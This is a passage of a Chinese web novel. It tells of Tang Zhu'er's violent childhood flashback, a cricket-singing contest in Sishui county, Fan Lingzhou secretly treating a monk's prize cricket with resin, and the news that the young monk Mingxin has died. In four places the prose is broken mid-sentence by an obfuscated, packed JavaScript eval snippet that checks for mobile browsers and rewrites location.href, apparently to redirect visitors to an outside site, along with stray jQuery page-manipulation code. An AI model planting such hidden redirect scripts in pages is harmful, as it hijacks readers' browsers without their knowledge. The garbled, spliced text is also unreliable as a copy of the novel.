唐珠儿的眼睛瞬间亮了，她猫着腰，一步一步蹭了过去。雪地里的脚印歪歪扭扭，每一步都藏着小心。她的手指冻得发紫，几乎握不住东西，但还是拼尽全力抻长了手，想去够狗碗里的包子皮。 下一瞬，一双毡鞋狠狠地踏在她伸展的五指上。 唐珠儿没有发出一声尖叫，只是猛地咬紧了唇，将所有的痛苦咽回肚子里。 “哟，这不是我们戏班的‘小耗子’吗？”小少爷好整以暇地用鞋底辗轧着她的手指，发出如同咬噬肉馅儿一般，咯吱咯吱的声响。 “狗都不吃的东西，你也抢？”小少爷饶有兴致地看着脚下匍匐的女孩儿，乐不可支。他弯下腰，一脸嫌弃地捡起狗碗里的包子皮儿，冲着唐珠儿晃了晃，“想吃？吃泥吧你！”一扬手，包子皮儿被抛入一旁的雪泥中。 小少爷犹嫌不足，咬着后槽牙骂骂咧咧道：“贱女人生的贱种……贱种！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184862|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐珠儿的眼神随着那飞扬的包子皮儿，重重坠在雪地里。 ——不能吃了……再也不能吃了…… “属耗子的贱种！虎子，走，咱们把她的耗子窝也给掏了！饿死她！” 唐珠儿歪躺在雪地里，除了冰冷的感知之外，体内似乎有一团火逐渐烧灼起来。那是饿的感觉，从胃部闷闷的钝痛，逐渐汇聚成尖锐的一点，仿佛一把利剑将她小小的身子一切两半。她最讨厌这种感觉。 被打死也好，哪怕被烧死也罢，她不想饿死……她不想饿死！ 唐珠儿的眼神中陡然闪过一丝狠戾，几乎就在瞬息，她猛地扑将而起，双手抓住小少爷的腿，狠狠咬了下去。她使了十足十的力气，一口下去，肉皮儿连着嫩肉，被她整块儿啃了下来。小少爷发出一声杀猪般的尖叫，拼尽全力蹬踹在她的脸上。 唐珠儿被踹得滚了三滚，鼻子和唇角都沁出血来，但眸子里的狠劲儿却更浓了。在翻滚的间隙，她顺手将狗碗揣在怀里，朝地面狠狠一磕！ 班主的小少爷连抱着伤腿哀号的机会都没有，就见那滚了数滚，瘦得如猴儿般的少女又无畏无惧地反扑而来。她的脸上全是赤红的血，可干裂的双唇间隐约露出的贝齿却洁白如雪，让人触目惊心。 小少爷已经吓得连尖叫都忘记了，几乎就是在瞬时便被唐珠儿撞倒在地，像条翻肚的死鱼一般掩面朝上。唐珠儿骑在他的身上，手里的碎瓷片一次次扎了下去。 扑哧——扑哧——扑哧！ 不知就这样重复扎刺了多久，唐珠儿感觉到自己骑跨着的身体，已经逐渐凉了。她没有低头看一眼小少爷的死状，只是缓缓站起身，拍了拍身上的雪，然后走到泥水里，捡起那块已经脏得不成样子的包子皮，塞进嘴里。 她用力嚼着，发出和小少爷相似的咯吱咯吱的声音。 后来，戏班子燃起了滔天大火，烧尽了她存在过的一切痕迹。 再后来，这个江湖闻名的妙手空空儿被晏回捡回了观里，再也没有饿过肚子。 回忆的雾气缓缓散去，唐珠儿的眼神重又聚焦到面前晃晃悠悠的草蟋蟀上。相较于自己而言，明心无疑是幸运的。在水月寺这般奢靡寺院，他无须挨饿受冻；得了晏回阿姊的青睐，自此他便身有倚仗……这不，还有闲情逸致折草蟋蟀呢！ 唐珠儿五指用力，恨恨向掌心中的草蟋蟀发力，可眼瞧着那蟋蟀翅子皱缩起来，又赶紧泄了力，垂头丧气地将草蟋蟀塞回怀里。 这是那小沙弥给阿姊的谢礼，她终究是做不得主的。 叹了口气，唐珠儿正欲起身，却听一阵清脆的聒聒儿【1】声从芜廊深处传来。 这大冬天的，哪来的聒聒儿？ 唐珠儿心中诧怪，循声望去。 只见芜廊的阴影里，身着白色道袍的影子一闪而过——是范凌舟！他脚步轻如鸦羽，几乎没踩出半点儿声响。 唐珠儿的眼睛眯成了一条缝，暗道：也不知这大狐狸又要做什么去？ 63. 无尽灯（五） 翌日晌午，汜水县衙署前的广场上，早已围满了赶墟的乡邻。广场中央不知何时起了一座临时搭建的擂台，擂台高约三尺，台面上铺着黍秆编就的席子，四周围着半尺高的黄河滩芦苇编边，既防风又添野趣。台中央设一方青石板案，案角摆着陶制香炉，案边挂着荆条编的小筐，内盛黄河滩豆叶，乃是今晨将将采就。 有好奇的外县人，揣着袖筒往擂台上探头探脑，问旁人道：“这一大早的，这啥擂台啊？比武招亲？” 早就翘首以盼的众人不屑地嗤笑一声，道：“比那可有意思。这可是咱们汜水县鼎鼎有名的‘聒聒儿擂’！”【1】 “聒聒儿擂？” 见外乡人不解，早有好事者引着对方向擂台东侧望去。只见那儿摆着一溜儿麦秸编的小垫儿，每个小垫儿上都端端正正地放着一个聒聒儿葫芦。 所谓聒聒儿葫芦，便是冬日里饲养聒聒儿的匏器。将葫芦怀之袖中，于万物凋零的冬日时节闻得夏日虫鸣，实乃人间佳趣。这汜水县虽偏，却盛产聒聒儿，聒聒儿擂便也因此兴起。 “您可别小瞧这葫芦，正所谓武举考校，兵器先占三分，这葫芦便是聒聒的兵器，其中金贵周正的，您手里没个几十两的银子，那可是碰都别想碰一下。” “嚯——”外乡人起了兴致，踮起脚尖望向那一队排得整整齐齐的聒聒葫芦。 有的鼓腹粗脖，活像个吃撑了的胖娃娃；有的包浆红艳，如同刚出炉的糖炒栗子；有的瓷胎光溜，能照出人影，当真是形式多样，令人目不暇接。聒聒擂的参赛者们也皆是昂首挺胸，时不时揪一片黄河滩豆叶探入葫芦中，为自己备战的聒聒儿们加油鼓劲。 “诶，外乡来的，你觉得谁有戏？”有好事者怼了一下外县人的胳膊，压低声音问道。 “那我可随缘说了——”外县人扫量了一圈，扬了扬下颌，“我觉得，那位大爷有戏。” 外县人指的，是一名膀大腰圆，穿金戴银的大汉。只见那大汉锦袍裹身，腰间悬着一块小孩儿拳头大的羊脂玉坠子，随着他的动作晃得人眼晕。此刻，他正用关节粗粝的大手摩挲着面前的聒聒葫芦，那是个范制莲纹糠胎葫芦，莲瓣浮雕深邃细腻，象牙口盖嵌着细铜簧，外罩一层如同陈年蜜蜡般地包浆，温润漂亮至极。 大汉浑然不觉周遭的目光，凑到葫芦口轻轻呵了口气，如同哄自家娃娃般柔声道：“蓝将军，今天可定要给爹爹争口气，让那些初出茅庐的小崽子们见识见识。”葫芦里的聒聒也仿佛听懂了一般，“吱”地应了一声，脆生生的。 好事者拍了拍外县人的胳膊，眉飞色舞道：“您可真有眼光！这位赵大郎可是上届聒聒儿擂的头名状元！去年他那只‘铁头青’，那可是威风八面，连赢了十八场！不过今年——”好事者故意顿了顿，神秘兮兮道，“他碰着硬茬了！” 外县人更好奇了：“嚯——那位又是？” “说曹操曹操到！您瞧！” 话音刚落，只见人群如同被鱼鳍划开的水波一般，骤然向两旁分散开，一个铁塔般高大的身影从人堆中挤过，慢悠悠地向着擂台的方向走来，正是戒通和尚。 他依旧穿着那件显得颇为局促的僧袍，丑陋骇人的疤脸被寒风扑得发红，令人莫敢直视。早已静候多时的赵大郎，起身迎了上去。 “戒通师傅！”赵大郎笑着一礼。 “赵……赵施主。”戒通和尚动作端端正正，嘴里说的却是嘟嘟囔囔，让人听不真切。 究竟是卫冕擂主，赵大郎语气里不免带了几分倨傲：“戒通师傅已有五年未登此擂了，我听闻戒通师傅迷上了饲育聒聒之术，可是当真？”戒通嘴巴嗫嚅了数下，正欲回答，赵大郎却打断道，“诶——戒通师傅不必急着反驳，这人为饲育之物，终究不如天生天养的聒聒儿灵性十足，失了山野间的悍烈之气，只可玩赏，哪能登擂？您说是吧？” 戒通嘴笨，嗯嗯啊啊了半天，说不出个所以然。赵大郎哈哈大笑，拍着戒通的肩膀，道：“戒通师傅莫急，不打擂，凑趣也无妨啊！” 戒通脸上的疤痕都涨红了，总算憋出一句：“不……不凑趣……贫僧……贫僧……赢……来赢！” 赵大郎的目光扫过戒通手中的聒聒葫芦，大喘了几口粗气，才压下了喉咙里差点儿蹦出来的嗤笑声。那能算是聒聒葫芦吗？无非是个竹编的小笼！戒通还在结巴地絮叨着能赢，一边伸出手，让赵大郎看自己小笼中的鸣虫。 在场众人都知道这戒通和尚身世可怜，无父无母，是水月寺收养的孤儿，年少时更是因一场高烧把脑袋烧糊涂了。平素不记事儿不说，一句囫囵话也要磕磕绊绊半天才能挤出来。赵大郎也知道，拿傻和尚取乐会在众人面前丢份儿，当下也只得忍了笑，凑上前看戒通和尚竹笼里的聒聒儿。 孰料，赵大郎的目光刚落进竹笼，便再也拔不出来——只见那笼中竹枝上，竟卧着一只霁蓝天青色的聒聒儿！ 它体型比寻常聒聒壮硕半分，背甲圆厚如覆一层凝润的天青釉，在阳光下折射出淡淡的宝光；两对银白长须足有寸余，左探右扫，遇风不晃，遇影便停，透着十足的机警与灵动。敛着的双翅如裁下的蓝缎，翅脉清晰，翅型厚长，好一只俊俏虫儿！ 赵大郎心中暗赞了一声，自家的蓝将军也是生长于鲁北的蓝绿聒聒，颜色已是少见，可像戒通和尚竹笼中的天蓝聒聒那更称得上万里挑一了。 不过，聒聒擂赛得从来都不是品相，而是聒聒的鸣响。若是叫不出好音儿，便是再俊俏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184863|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有什么用处？这可是养聒聒，不是买瓷器。 赵大郎又恋恋不舍地瞅了一眼，放狠话道：“戒通师傅，咱们擂台上见真章！” 此次聒聒擂的赛正乃是曾在宫中虫房——促织局中伺候的王公公，号称“辨鸣识虫，天下无二”。只见案角陶炉早插好了一炷线香，王公公用火折子点着，朗声道：“三般评准，诸位听真！其一，香焚过半，虫鸣不辍者，方得进阶；其二，鸣声清越如弦、沉洪如钟者，方得进阶；其三，若有络纬【2】，鸣如玉笙，清韵顿挫，可直入头彩候选之列！” 赛正王公公手捏一杆铜嘴旱烟，“当——”地一声敲在青石板案上，沉声道：“汜水县聒聒儿擂，今番开擂！” 话音才落，广场上百虫齐鸣，如百面小鼓同时擂响，瞬间席卷了汜水县聒聒儿擂的每一处角落。 先是案前数个葫芦里的络纬率先振翅，紧接着四周葫芦里的聒聒儿次第响应，有的沉洪，有的清亮，有的高亢，有的短促，引得围观人群喝彩声不断。 以赛正王公公为首的数名老者，绕场而行，寻找能入得他们耳的精品络纬。 赵大郎的莲纹葫芦里，蓝将军正振翅长鸣，声音清亮如银线穿空，引得周围人低声叫好。赵大郎心中暗喜，不由得偷偷瞧了一眼擂台东侧的戒通和尚，正瞧见一位校判老者踱步到戒通面前，正一脸惊异地瞧着他破烂竹笼中的天蓝聒聒。 赵大郎心里咯噔一下，赶紧侧耳细听。只闻那天蓝聒聒叫声不紧不慢，极有节奏感。初时如细泉叮咚，叫至后来竟透出沉钟般的厚重，混在喧闹里，如同石子投进湖面，引得涟漪纷纷，格外扎耳。 赵大郎一咬后槽牙，冲着自己的蓝将军低声道：“爹爹的好儿！给爹爹叫出声势来！” 一炷香燃了约莫两刻钟，烟线渐短，不少聒聒儿已叫得声嘶力竭，声势渐熄。赵大郎的蓝将军还在叫，只是声音弱了些；戒通和尚的天蓝聒聒儿却依旧沉稳，不疾不徐。 此时，赛正王公公熄了烟袋锅子，开始绕场而行。 每到一只还叫的虫儿跟前，王公公便侧耳听片刻，时而微笑颔首，时而摇头叹息。走到赵大郎面前时，他眯着眼听了三息，道：“嗯——虫鸣清亮有力，佳品。” 赵大郎松了口气，眸光追在王公公背上，看他抬步向戒通走去。 戒通和尚此时满脸涨红，连呼吸都放轻了，生恐扰了赛正辨音。只见王公公倾身侧耳，眸光一亮，咂摸了半晌，点评道：“奇哉，线香燃过半炷，诸虫皆声竭气衰，此虫独振翅不疲，其鸣如棉槌叩铜磬，余韵悠长，便是在宫里也是数载难遇之珍品，老夫认为——” 话才到一半，王公公却突然顿住，直起身子蹙着眉，向西南角望了过去。 64. 无尽灯（六） 王公公如同被线绳拉扯着一般，瞪着眼，佝着背，直愣愣地奔着擂台西南角去了。西南角的虫鸣渐息，唯有一只虫儿还在振翅高歌。 说来也怪，这聒聒声并不刺耳，却能将满场的喧嚣都压了下去。它的鸣叫既非蓝将军的高亢，又不仅仅是戒通和尚天蓝聒聒的余韵悠长，而是一种渐次铺展开来的旋律。既像春雨敲打着新绷的鼓面般清脆悦耳，又如雾气中忽闻暮鼓晨钟般动魄惊心，时而如流泉击石，脆生生撞得人耳鼓发麻；时而如鸾鸟和鸣，柔婉中带着金石之韵。那动人的聒聒儿鸣叫，似乎不仅仅是响彻在耳畔，更似在心头隐隐震颤。 王公公直勾勾地盯着那小垫儿上再普通不过的聒聒葫芦，无意识地吞咽了两口唾液：“当真是……如闻仙乐耳暂明！老夫活了大半辈子，便是在促织局也未曾听过这等仙音！” 他急切地四下扫量了数圈：“此虫何人所饲？！还请高士出来一见！” 此时，原本远远看着的戒通大和尚和赵大郎也围了上来，倾着身，探着头，眨巴着眼，死盯着葫芦里被王公公捧为仙乐的聒聒儿。赵大郎尚能保持冷静，戒通和尚却是一脸惨白，数九寒天，额头上竟沁出豆大的汗珠儿来，眼眶也随之红了。 可惜，如今已经没有人会关注可怜巴巴的戒通和尚，因为那位即将赢得擂主的“高士”已然排众而出。 一身月白道袍，外罩一件素色大氅，一头乌发用一根梅花枝绾在头顶，其上一朵白梅含苞待放，正是范凌舟！ 范凌舟冲王公公笑着拱手：“见过王伴伴，在下清水道人范凌舟，正是此虫的饲主。” 王公公难掩激动之色，将范凌舟请到台中，大声道：“道长真乃尘外高人！老夫以促织局行走之职，宣本届汜水县聒聒擂之擂主，非范道长莫属！” 一语毕，众皆哗然，继而欢呼雷动。这聒聒擂的擂主早已被赵大郎占据多年，赵大郎又好露富骈炫，惹人生嫉，众虫友早就看他不忿，此刻有人能抢了他擂主之位，消消他的气焰，岂不快哉！当下是，台上台下皆是笑语喧阗，揖礼不迭，连方才看热闹的外县人都被好事者拉扯着上得台去，同范凌舟相互见礼，一口一个“三生有幸”。 范凌舟在人群中被推挤着，眼神儿却不易察觉地瞟向了另一边。在擂台东北方某个无人在意的角落里，身形如铁塔的戒通大和尚委顿在地，将那只尚在鸣唱的天蓝聒聒拢入袖中。布满疤痕的脸膛上，此刻已尽是泪痕。他本就寡言少语，此刻更是一语不发，连团拜都不曾参与，便悄然下了擂台，身影逐渐消失在巷道深处。 范凌舟长眉一挑，不动声色地笑了。 * * * 汜水县外五里的山坳中有一处乱坟岗，荒草没膝，平日里便罕有人迹。相传，周边县镇凡有恶疾夭折的孩童都会被丢弃于此，一卷草席裹了，连掩埋之功都省却，任由附近的野犬孤狼叼食。寻常百姓途经此处，宁可多绕上数里，亦不愿穿行而过，唯恐触了霉头，犯了忌讳。 而今日，乱坟岗中却隐约多了一道人影。 那人影身形巨大，若塔倒山倾；那哭声号啕悲切，若海啸雷鸣。定睛细瞧，不是戒通和尚又是何人？只见他趴在一处隆起的土堆旁，怀里抱着他那竹编的聒聒笼，头埋在膝盖间，肩膀一抽一抽地颤抖，哭得惊天动地。 别看这戒通和尚膀大腰圆，一巴掌能抽飞一只老虎，可内心却是敏感脆弱得紧。这处在旁人看来，唯恐避之不及的乱坟岗，在戒通心里却有着莫名的亲切感。因此，每当他有苦难言，有冤难诉之时，便会跑来此处乱坟岗，长歌痛哭一番。 只听戒通和尚一边哭，嘴里还絮絮叨叨念着什么。 “五年……都……都没……没赢过人家……呜呜呜呜呜！啊啊啊啊啊啊！” 突然，戒通和尚的号啕止住了，怔怔地凝向狂风呼啸的乱葬岗深处，只见正有一袭白衣，飘飘荡荡而出。 戒通蹭地从坟头旁爬起，掸了掸僧袍上沾着的泥污与草屑，双手合十躬身拱手，冲那幽魂般的身影恭谨拜倒：“见……见……见过擂主……” 范凌舟一个箭步踏上前，稳稳扶住了戒通，温声道：“什么擂主不擂主，虚名而已，大和尚无须多礼。” 戒通和尚执拗地摇了摇头，还是端端正正拜了拜，方道：“擂……擂主……就……就是厉……厉……厉害……要拜……” 范凌舟笑了，看着面前高自己一个头的大和尚慌慌张张地擦着泪，道：“说来惭愧，这擂主本该是大和尚你的。” 戒通和尚此时正拿着一块洗得发皱泛白的帕子擦脸，闻言，手上的动作也停了，直愣愣地看着范凌舟。只见对方从袖中一摸，掏出一只聒聒葫芦。葫芦是紫竹所制，包浆温润。拨开塞子，一只青褐聒聒探出头，寻常至极。 “贫道方才路过此地，听大和尚哭诉，辛勤饲育五年，终成此天蓝聒聒，却未能赢我，贫道便擅自做主，来给大和尚解惑。” “大和尚且细观——你的天蓝聒聒，有三点远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184864|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜贫道的小虫。其一，翅长，你的天蓝聒聒翅长越尾，皮蜕八次方有此长翅，是万里挑一之象；其二，耐强，你的天蓝聒聒连续振翅一炷香的时间，尚有余力，可见其虫体之壮硕，绝非寻常虫儿可比；其三，灵通，你的天蓝聒聒日日食仙草，听佛音，已能与你呼吸相和，而我的虫儿与之相比无非凡俗虫豸，绝无胜算。” 戒通和尚听得频频点头，他虽然头脑并不灵光，比之孩童尚且不及，可他对聒聒一事执念极重，加之研究深入，涉猎广泛，是以范凌舟的话竟是句句说到了他的心坎儿里。在他心中，自己通过五年繁育得到的天蓝聒聒，简直就是聒聒中的瑰宝，虫豸中的帝王，别说这小小的汜水县聒聒擂，便是打到京城去，那也是数一数二的聒聒状元。 想及此，他原本不听话的舌头此刻也利落了些，急问道：“那……那道长，我……我为什么输了？” 范凌舟一边关上葫芦盖子，一边悠悠道：“那是因为，这天蓝聒聒尚缺一味点化。” “点……点化？” 范凌舟点了点头：“你育虫五年，执念太深，每日便只想着‘赢’，这份执念不仅困住了你，亦如枷锁一般缚住了虫儿的双翅，使其鸣声失了本真自在。若大和尚信得贫道，将这天蓝聒聒‘借’给贫道一日，贫道会略施小计，解开其被你执念缠缚的灵性，让它唱出本应有的仙音。” “你愿意吗？” 戒通瞪大了眼睛，握着聒聒笼的五指逐渐收紧。他并不懂得范凌舟嘴里的“执念”“枷锁”“缠缚”等辞藻究竟是何意，但他听得懂“赢”之一字。是啊，他隐忍五年，日日于仙山寻觅小虫，再带回寺中精心培育，不就是为了今日的“赢”吗？ 可是……这天蓝聒聒是他心中至宝，自孵化出来之后，别说一日了，就是半刻都从未离身，这范道长上来就要借走一整日，实在是…… 范凌舟也不催，就那样温和地笑着，等待戒通的决定。可他越是如此，戒通心中的纠结就更甚，就在他张皇无措之时，袖中笼着的天蓝聒聒突然发出吱的一声鸣响，如同替戒通应答一般。 戒通本就是不疯魔，不成活之人，此番见天蓝聒聒都同意了，即刻当头便拜：“恳请……道……道……道长点……点化！” 雪白的拂尘一卷，戒通手上托着的小笼便消失不见，范凌舟亦不再多言，转身便走。白衣在荒草间飘摆，身影很快便融入乱坟岗的阴影里，只留下一句轻飘飘的话音在风中回荡：“明日此时，不见不散！” 65. 无尽灯（七） 月上中天，玉仙元君祠西厢房的房门应声而开，一盏灯笼映亮了房间的各个角落。 房间的东墙下有一处矮榻，榻上随意搭着一件昂贵的白狐裘，同道观的素雅古旧格格不入。榻边立着个竹制衣架，其上挂着簇新的月白色道袍，袖口内里绣着金线，在灯笼的映照下葳蕤生光。 随着懒散的脚步声，光晕逐渐移至梨木案前。案几上的物件儿摆得满满当当，案角放着一薄胎白瓷碟，碟中盛着不知名的膏体，隐隐散发出阵阵松香。碟边斜搁着铜鎏金笔架，架上插着紫毫大楷、狼毫中楷。唯有一支号称“鼠须尖”的狼毫小楷笔单独卧在银狐绒垫上，笔锋细若蚊足。 案上的烛台被火折子引亮，范凌舟好整以暇地坐下来，请出了袖中揣着的竹笼。打开竹笼门，指尖蘸取清水，范凌舟将手凑到笼门口，轻声道：“请吧，小友。” 说来也奇，原本趴在竹枝上的天蓝聒聒，闻言竟挪动四爪，爬上了范凌舟的掌心，乖觉地伏在他的指尖。 范凌舟左手托虫，食指按住虫颈，大拇指压住虫背，将天蓝聒聒牢牢固定在手中。另一只手则捻起白瓷碟，就着烛焰略一烘烤。碟中晶莹剔透的膏体便融化开来，化作鲜红的液体，如同封缄信函的火漆。 范凌舟屏息凝神，手腕悬空如执圭，以“鼠须尖”在碟中轻轻一扫，一粒粟米大小的莹润膏珠便悬之须上。只见他轻挑小虫的右翅，露其薄如蝉翼的翅根膜，此乃蝈蝈发声共鸣之关键。他深吸一口气，笔锋对准翅根膜处缓缓凑近，距离不过毫厘时，房梁上忽传来细微的窸窣声。 “啪嗒——”一束乌黑的发辫从房梁倒挂而下，正好垂落在范凌舟的头顶，发丝扫过他的脸颊。范凌舟的手微微一顿，却未抖，似乎对头顶的异样浑不在意。笔锋对准翅根膜稳稳一点。待得膏体略干，形如精巧红痣一般，方轻覆翼面，将天蓝聒聒重又放回竹笼之中。 待得一切完备，范凌舟方抬起头，冲着倒吊在房梁上看热闹的唐珠儿，又好气又好笑道：“小班主，你差点儿坏了我的大事。” 唐珠儿一个鹞子翻身，跳将下来，满不在乎道：“少来，大不大事我不知道，反正你这大狐狸偷偷摸摸干的，定然是坏事！” “昨夜我就觉得你不对劲了，怀里藏了聒聒，也不给我玩儿，一大早就溜出去，也不知道干什么……”唐珠儿圆溜溜的眼睛一瞬不瞬地盯着范凌舟，命令道：“快说，你做什么去了！” 范凌舟翻了个白眼：“你当我是你啊，不是吃就是玩儿，贫道可是在为入得仙山，得道升仙做准备。” “鬼鬼祟祟——”唐珠儿背着手，踱到竹笼旁，忽闪着大眼睛直凑到天蓝聒聒前，睫毛几乎要扫到聒聒的须子，“我刚才可瞧见了，你在它的翅膀上藏了东西，你说不说，不说我敲锣打鼓嚷嚷去！” 范凌舟被小丫头缠得没辙，叹了口气：“好好好，说说说。说破了倒也无甚玄妙，无非是用掺了蜂蜡与朱砂的松香膏，凝在蝈蝈翅膜上，增其韧度、缓其振速，让鸣声愈发余韵悠长罢了。” “嘁，这有什么——”唐珠儿话音未落，竹笼中的天蓝聒聒便振翅而鸣。 这鸣声一出，直把噘着嘴皱着鼻子嗤笑的唐珠儿也给镇住了。当真是一声清越穿云出，余韵萦梁落案旁。 “乖乖！这小家伙叫得比雀儿都好听呢！”唐珠儿一脸惊异，她看了看天蓝聒聒，又看了看范凌舟，咂巴了一下嘴，“你这臭牛鼻子，还算是有些本事。” 范凌舟再次没有忍住，翻了个白眼，道：“别天天盯着我，你呢？还说贫道鬼鬼祟祟，我看你才是藏头露尾，窥牖探户。” “呸呸呸，我这也是正事！”唐珠儿从怀里掏出那被压得有些干瘪的草蟋蟀，冲范凌舟晃了晃，“只是……只是还没有进展就是了……” “水滴石穿，非一日之功，”范凌舟笑着点了一下那草蟋蟀，“有句话怎么说来着，草里的蛐蛐儿——藏着不叫，叫起来吓一跳。今日虽说没动静，可保不齐啊，明儿就蹦出个大响动来。” 见唐珠儿挎着的小脸儿略微有了些松动，范凌舟又道：“或者，咱俩换换？你替我去见那大和尚，我陪着西楼去水月寺见小沙弥？” “好啊！狐狸尾巴露出来了！”唐珠儿一蹦三尺高，掉头就往门外跑，“你自己去见大和尚，少跟我抢阿姊！” 唐珠儿叽叽喳喳的笑闹声，如同不安分的雀儿掠过檐角，引得倚窗而坐的青杳，停下手中的针线，好奇地向外望了望。 她的膝头放着一件肘部磨破的小小僧衣，青灰色的棉线织出细密的针脚，形成一块形状圆满却不显眼的补丁。待听清了唐珠儿和范凌舟争吵的内容后，青杳无声地笑了笑，重又垂下头去。 * * * 待看到山门上飞扬的“水月寺”三个大字后，唐珠儿有些别扭地放下了车厢的帷幌。 昨夜青杳熬夜缝补的小小僧衣，此刻被压在竹笥的最下层，其上是晏回为明心准备的软垫、漉水囊和棉线经卷布套，摞得高高的，放在唐珠儿的膝盖上显得沉甸甸的。 “珠儿？”晏回轻轻唤了她一声，“想什么呢？” 唐珠儿嘟着嘴支吾道：“没啥，想戏词呢！——想当初花下盟言，到如今反作了风中絮滚。你恋着那粉黛妖裙，撇下了糟糠旧人。问苍天，这薄幸如何教我忍？【1】”她一边嘟囔，一边嘤嘤切切地唱了起来，倒是把晏回逗笑了。 “好啦，糟糠旧人，”她抬手抚了抚唐珠儿翘起的头毛，温声道：“那今晚的东坡肘子还吃不吃？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184865|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “吃吃吃！”唐珠儿眼珠子瞪得溜圆，忙不迭地点头，“都旧人了凭啥不吃！” 嘴中虽尚在抱怨，可脸色却是红润了许多，眉眼里也有了笑意。晏回这才放下心来，在唐珠儿的搀扶下步下车来。 水月寺依旧是初见时那般雍容模样，可不知为何，今日之景之情却隐隐透着不祥的预兆，在看到缓步走来的智空住持时，晏回心中的不安已攀至顶峰。智空住持着一身深褐色的僧伽梨，偏袒右肩，神色凝重，往常喜笑颜开的圆脸上，此刻一丝笑纹也无。 僧伽梨乃是住持最高等级的法服，唯有在讲法、受戒、丧葬等重要法事才会穿着。而露出右肩，仅以袈裟覆盖左肩与身体，则代表着“舍弃舒适、放下执着”之意，更是住持主持葬礼时的固定礼仪。 晏回拢了拢鬓边的碎发，深吸一口气，强笑道：“住持今日着此盛装，可是寺中要举行什么重要法会？” 智空住持合掌躬身，音沉如水：“阿弥陀佛，檀越夫人，今日非是法会，而是小徒明心的坐缸仪轨。” “嗡——”的一声，晏回只觉视野中的山门晃了晃，她夸张地歪倒在唐珠儿的身上，掩面哭了起来。 所谓坐缸仪轨，乃是将无疾坐化或是生前有重大功德的小沙弥的遗体，盘坐放入陶缸之中，填充以木炭石灰防腐密封。日后若是肉身不腐，则成为肉身佛，供奉于寺庙中永受香火。也就是说，此时此刻，那笑起来甜甜软软的小沙弥明心，已经死了。 晶莹的泪水顺着指缝溢了出来，晏回哭得梨花带雨，而被手掌遮挡的面容，却冷冷地蹙起了眉，恨意倾泻而出。 太巧了，实在是太巧了。 她们将将与小沙弥明心熟络了些，一切计划都在顺势铺展开来，他竟然便死了？若说这是纯然的巧合，晏回决计是不信的。既然他们不惜要了明心的性命，那就说明，明心定然走漏了什么风声，或者有什么事情要比让他活着更为紧切。那她不若以此为缺口，一刀下去，将这水月寺由面子及里子，切个透亮。 这厢晏回心中筹谋，唐珠儿也以帕拭泪，等着晏回下一步的暗示。 晏回与唐珠儿虽有夸张的成分，可这泪水中确有七分真情。那明心小沙弥乖巧懂事，天真可爱，又有谁能不对他心生怜爱呢？而从智空住持的角度看，这一对儿主仆哭得失魂落魄，天悲地切，长叹一声，劝慰道：“檀越夫人，还请节哀顺变，顾惜己身啊！明心昨夜里于房中坐化，无疾而终，乃是大往生，既是明心的造化，亦是他的福报，檀越夫人该为他高兴才是啊！” “阿弥陀佛，二位檀越，小徒的坐缸仪轨在即，少陪。”智空住持合掌躬身，转身迈步，这脚还没落地，便听身后传来一句。 “智空大师，留步。” 66. 无尽灯（八） 只见晏回盈盈下拜，泣告道：“妾身与明心小师父有过一面之缘，只觉他与妾身夭折的幼子有七分相似，而如今，小师父竟也……”泪水盈睫，如断了线的南珠扑簌簌地向下掉着，“求住持成全，让妾身送他最后一程吧，哪怕只是望他一眼，亦能……亦能少些憾恨……” 晏回哭得说不出话来，只是以帕拭泪，唐珠儿赶紧截口道：“是啊大师！我家夫人带了好多给明心小师父的东西呢！软垫、漉水囊，还有她熬夜缝的僧衣……哪怕如今不能亲手赠予他，也想放在他的缸边，让他路上时能暖和些、舒服些……” 唐珠儿深吸一口气，放声大哭道：“夫人，您怎的这般命苦啊！” 这一主一仆就在山门前抱头痛哭起来。 此时正是日上三竿，焚香祈福之时，山门处人流如织，皆是远道而来的香客檀越。此刻，两名女子旁若无人，号啕而哭，实在是不成体统，智空住持只觉自己也快要哭出来了。 